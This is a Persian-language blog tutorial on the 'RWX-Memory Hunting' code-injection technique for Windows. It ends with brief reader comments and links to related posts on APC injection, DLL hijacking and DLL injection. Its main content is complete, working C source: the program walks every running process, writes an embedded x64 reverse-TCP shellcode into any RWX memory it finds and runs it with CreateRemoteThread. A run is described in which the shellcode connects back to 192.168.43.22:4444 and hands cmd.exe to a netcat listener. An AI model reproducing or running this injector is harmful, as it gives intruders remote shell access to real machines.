تزریق کد بوسیله تکنیک RWX-Memory Hunting - مستر پایتون

تزریق کد بوسیله تکنیک RWX-Memory Hunting

نتیجه اجرای تکنیک RWX memory Hunting

RWX-Memory Hunting روشی بسیار ساده برای تزریق کد به پروسه های دیگر است . همانطور که از اسم این تکنیک بر می آید ،‌ به حافظه کل پروسه های سیستم سرک میکشیم ، به محض اینکه یک قسمت از حافظه در پروسه دیگری با حالت RWX ( قابل خواندن ، نوشتن و اجرا کردن)‌ پیدا کردیم ، یک shellcode درون آن مینویسیم و یک thread برای اجرای آن shellcode میسازیم (دقیقا کاری که در “تزریق کد کلاسیک” انجام میدادیم) .

روش پیاده سازی RWX-Memory Hunting

در پیاده سازی این تکنیک ابتدا تمام پروسه های در حال اجرای سیستم را سرشماری میکنیم (توسط تابع های CreateToolhelp32Snapshot , Process32First , Process32Next). بخش های حافظه هر کدام از پروسه های سیستم را جستوجو میکنیم تا ببینیم آیا منطقه ای با حالت RWX در آن موجود است یا نه (توسط تابع VirtualQueryEx) . اگر چنین منطقه ای پیدا کردیم ، shellcode موردنظر خود را در آن منطقه نوشته (توسط تابع WriteProcessMemory) و یک thread در پروسه مقصد میسازیم تا آن shellcode را اجرا کند (توسط تابع CreateRemoteThread) .

همانطور که اشاره شد برای جستوجو مناطق RWX از تابع VirtualQueryEx استفاده میکنیم . این تابع میتواند اطلاعاتی در مورد محدوده ای از حافظه در یک پروسه دیگر به ما بدهد . این اطلاعات شامل نوع محافظتی (Protection) آن منطقه حافظه نیز میباشد . 

الگو یا prototype تابع VirtualQueryEx در Windows API به شکل زیر است :

SIZE_T VirtualQueryEx(
  [in]           HANDLE                    hProcess,
  [in, optional] LPCVOID                   lpAddress,
  [out]          PMEMORY_BASIC_INFORMATION lpBuffer,
  [in]           SIZE_T                    dwLength
);

اولین پارامتر تابع یک handle به پروسه مقصد است که قصد بررسی نواحی حافظه آن را داریم (توسط OpenProcess بدست می آید) . دومین پارامتر تابع آدرس شروع منطقه ای از حافظه است که میخواهیم اطلاعات آن را بدست بیاوریم . 

پارامتر سوم یک اشاره گر به ساختار MEMORY_BASIC_INFORMATION است که حاوی اطلاعاتی از یک ناحیه از حافظه است . تابع VirtualQueryEx به عنوان خروجی کار ، اطلاعات حافظه مورد نظر را در این ساختار برای ما ذخیره میکند . 

نهایتا پارامتر آخر اندازه ساختاری است که اشاره گر آن را در پارامتر سوم به تابع داده ایم .

ساختار MEMORY_BASIC_INFORMATION به شکل زیر تعریف شده است :

typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  DWORD  AllocationProtect;
  WORD   PartitionId;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

سه عضو از این ساختار برای ما مهم هستند . AllocationProtect , RegionSize و State . اولی مشخص کننده حالت محافظتی منطقه مورد نظر از حافظه است که ما به دنبال مناطقی هستیم که AllocationProtect در آن ها برابر ماکرو PAGE_EXECUTE_READWRITE باشد (همان RWX) . 

دومی مشخص کننده اندازه آن منطقه از حافظه در واحد byte است یعنی اختلاف آدرس شروع منطقه مورد نظر از حافظه ( در پارامتر دوم به VirtualQueryEx میدهیم ) تا بخش های بعدی از حافظه که ویژگی های یکسانی دارند .

نهایتا سومی یعنی State مشخص کننده وضعیت تخصیص حافظه است . میتواند یکی از مقادیر MEM_COMMIT , MEM_RESERVE و یا MEM_FREE باشد . حافظه ای که ما به دنبال آن هستیم باید MEM_COMMIT باشد . 

برای اطلاعات بیشتر در مورد تابع VirtualQueryEx و پارامتر های آن به منبع رسمی مراجعه کنید که در بخش منابع آورده شده است .

سورس کد RWX-Memory Hunting در C

#include <windows.h>
#include <tlhelp32.h>

/* x64 shell_reverse_tcp shellcode */
unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2b\x16\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main (int argc , char ** argv){
	
	/* Create an snapshot from system processes to enumerate them */
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , 0);
	PROCESSENTRY32 pe = { 0 };
	pe.dwSize = sizeof (pe);
	
	/* Get first process from snapshot */
	Process32First(snapshot , &pe);
	
	/* iterate over all system processes */
	do {
		/* ignore injection if process is explorer.exe or devcpp.exe , my editor 🙂 */ 
		if (0 == strcmp("explorer.exe" , &pe.szExeFile) || 
			0 == strcmp("devcpp.exe" , &pe.szExeFile)) continue ;
		
		HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS , 0 , pe.th32ProcessID);
		if (!hProcess) continue ;
		
		LPVOID offset = (LPVOID)0 ; /* lpAddress in VirtualQueryEx  */
		MEMORY_BASIC_INFORMATION meminfo = { 0 };
		
		while (VirtualQueryEx(hProcess , (LPCVOID)offset , &meminfo , sizeof (meminfo))){
		
			if (meminfo.AllocationProtect == PAGE_EXECUTE_READWRITE && 
				meminfo.State == MEM_COMMIT){	
				/* This is a RWX & Commited region 🙂 */
				/* Injecting shellcode to this region */
				printf("[+] RWX memory at %p in %s\n" ,(LPVOID)offset , &pe.szExeFile);
				
				/* Writing the shellcode to the region */
				WriteProcessMemory(hProcess , offset , shellcode , sizeof(shellcode) , 0);
				
				/* Create a remote thread to run injected shellcode */
				CreateRemoteThread(hProcess , 0 , 0 , (LPTHREAD_START_ROUTINE)offset , 0 , 
					0 , 0);
					
			}
			
			/* Updating offset to check next region of process memory */
			offset = (LPVOID)((DWORD_PTR)meminfo.BaseAddress + meminfo.RegionSize) ;
				
		}
		
		CloseHandle(hProcess);
	} while (Process32Next(snapshot , &pe));
	
	return 0x0 ;
}

بعد از اینکه در خط ۴۲ یک snapshot از پروسه های سیستم ساخته ایم ، در حلقه do-while خط ۵۰ ، تک تک پروسه های سیستم را با استفاده از OpenProcess باز میکنیم و از آدرس صفر شروع به بررسی نواحی حافظه آن ها میکنیم . به محض اینکه یک حافظه با حالت RWX که Commit شده است پیدا کردیم (شرط خط ۶۳) shellcode ر ا به آن تزریق کرده و یک thread برای اجرای shellcode میسازیم . 

دقت کنید در خط ۵۲ یک شرط اجرا کرده ایم که اگر پروسه explorer.exe یا devcpp.exe بود عملیات تزریق انجام نشود . تزریق به explorer.exe میتواند باعث ایجاد مشکلاتی شود که نیاز به restart کردن explorer.exe پیش می آید برای همین بیخیال آن شده ایم . در اینجا ، از آنجایی که از محیط توسعه devcpp.exe برای نوشتن و اجرای این کد استفاده میکردیم و تزریق به این محیط میتواند باعث crash کردن آن شود از این پروسه نیز گذشت کرده ایم :).

اجرا و تست

shellcode استفاده شده در سورس کد ما یک شل معکوس بود که به سیستم شنودگر من به آدرس 192.168.43.22 و درگاه 4444 متصل میشود . پس قبل از اجرای نسخه compile شده سورس کد ، یک شنودگر توسط netcat در سیستم شنودگر ایجاد کرده و سپس بدافزار را اجرا میکنم :

نتیجه اجرای تکنیک RWX memory Hunting

در سمت چپ تصویر کد compile شده را اجرا کرده و در سمت راست نیز شنودگر را . همانطور که نتیجه را میبینید یک دسترسی به cmd.exe در شنودگر ایجاد شده است .

منابع

VirtualQueryEx

MEMORY_BASIC_INFORMATION

OpenProcess

CreateToolhelp32Snapshot

 

مارا دنبال کنید

پست های مرتبط

مطالعه این پست ها رو از دست ندین!

پیاده سازی APC Injection در C

APC Injection یکی دیگر از روش های تزریق و اجرای کد در پروسه های دیگر است . در این پست به بررسی اینکه APC در ویندوز چیست و چگونه بدافزار ها از آن برای تزریق کد استفاده میکنند میپردازیم . 

بیشتر بخوانید

تکنیک DLL Hijacking

در این قسمت به بررسی تکنیک DLL Hijacking میپردازیم . این تکنیک برای مقاصدی مثل ماندگاری (Persistence) ، افزایش سطح دسترسی (Privilege Escalation) و یا عبور از مکانیزم های امنیتی استفاده میشود .

بیشتر بخوانید

تزریق DLL کلاسیک (DLL Injection)

تزریق DLL یکی از تکنیک های مرسوم برای اجرای کد دلخواه هکر ، توسط پروسه های عادی سیستم است . در این تکنیک هکر یک فایل DLL مخرب که حاوی کد های دلخواه او است را ساخته و سپس این فایل را به یک پروسه عادی سیستم تزریق میکند . این باعث میشود تا کد مخرب داخل DLL توسط آن پروسه اجرا شود . برای تزریق DLL ، روش های مختلفی وجود دارد و  بوجود خواهد آمد !‌اما در این قسمت به روش کلاسیک و سنتی آن میپردازیم .

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

آواتار کاربر کاربر مهمان محمدرضا ۱۳ مهر ۱۴۰۲

عالی 🙂

Hossein Ahmadi ۱۴ مهر ۱۴۰۲